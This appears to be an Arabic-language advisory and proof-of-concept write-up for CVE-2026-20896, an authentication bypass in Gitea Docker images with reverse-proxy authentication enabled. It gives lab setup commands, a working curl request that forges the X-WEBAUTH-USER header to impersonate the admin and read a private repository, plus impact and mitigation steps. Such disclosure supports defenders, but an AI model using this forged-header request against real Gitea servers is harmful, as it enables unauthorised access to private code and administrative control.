العودة إلى التحديثات
UpdatedAug 7, 2026

CVE-2026-20896 — Updated!

تجاوز المصادقة في صورة Docker لـ Gitea

مشاركة

CVE-2026-20896: تجاوز المصادقة في صور Gitea Docker - إثبات المفهوم

[!WARNING] استخدم إثبات المفهوم هذا فقط في بيئة اختبار محلية أو ضد نظام لديك إذن صريح لاختباره.

https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b

نظرة عامة

CVE-2026-20896 هو تجاوز للمصادقة في صور Gitea Docker الرسمية المتأثرة. عند تفعيل المصادقة عبر البروكسي العكسي، فإن الإعداد REVERSE_PROXY_TRUSTED_PROXIES = * الذي يولّده الصورة يسمح لعميل يمكنه الوصول إلى خادم Gitea الخلفي بانتحال شخصية مستخدم موجود من خلال ترويسة X-WEBAUTH-USER.

ينشئ المختبر مسؤولاً باسم gitea-admin بكلمة مرور عشوائية ويخزن CVE-2026-20896_AUTH_BYPASS_CONFIRMED في المستودع الخاص gitea-admin/private-proof. قراءة هذا الملف دون معرفة كلمة مرور المسؤول العشوائية تثبت نجاح التجاوز.

الإصدارات المتأثرة

الفئةالإصدار
المتأثرصور gitea/gitea الرسمية لـ Docker ≤ 1.26.2
أول إصدار مُصحح1.26.3
الموصى به1.26.4 أو أحدث

يتطلب التكوين القابل للاستغلال تفعيل المصادقة عبر البروكسي العكسي وإمكانية الوصول المباشر إلى خادم Gitea الخلفي، أو وجود بروكسي وسيط يحافظ على ترويسة الهوية المقدمة من المهاجم. لا يلزم وجود حاوية بروكسي عكسي لإعادة الإنتاج المحلي هذه.

البيئة

# البناء
docker build -t cve-2026-20896-gitea-vuln .

# التشغيل
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln

انتظر بضع ثوانٍ حتى يتم تهيئة Gitea ومستودع الإثبات الخاص.

إثبات المفهوم

cURL

curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt

يعيد الاستغلال الناجح CVE-2026-20896_AUTH_BYPASS_CONFIRMED.

Python

python poc.py http://127.0.0.1:3000

يقارن السكربت بين الطلبات غير المصادق عليها، وطلبات المستخدم غير المسؤول، وطلبات المسؤول المزورة، ويطبع VULNERABLE عند تأكيد تجاوز التفويض. يتطلب Python 3.10 أو أحدث ويستخدم المكتبة القياسية فقط.

التأثير

  • انتحال شخصية مستخدمي Gitea المعروفين أو القابلين للتخمين
  • وصول غير مصرح به إلى المستودعات الخاصة وموارد المستخدمين
  • إجراءات إدارية عند انتحال شخصية حساب مسؤول

التخفيف

  • قم بالترقية إلى Gitea 1.26.3 أو أحدث؛ يُوصى بالإصدار 1.26.4 أو أحدث.
  • قيّد REVERSE_PROXY_TRUSTED_PROXIES على عناوين البروكسي الموثوقة.
  • امنع الوصول المباشر إلى خادم Gitea الخلفي واستبدل ترويسات الهوية المقدمة خارجياً.
  • عطّل المصادقة عبر البروكسي العكسي عندما لا تكون مطلوبة.

التنظيف

docker stop cve-2026-20896-gitea-vuln

المراجع

الفئات